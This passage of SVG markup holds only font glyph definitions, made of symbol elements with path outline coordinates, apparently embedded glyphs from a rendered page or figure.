5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="r"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="t"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="u"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="w"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="R"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="Y"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="aa"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="ab"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="ac"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="ad"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="ae"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="af"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="ag"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="x"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="y"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="z"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="A"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="C"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="D"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="E"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 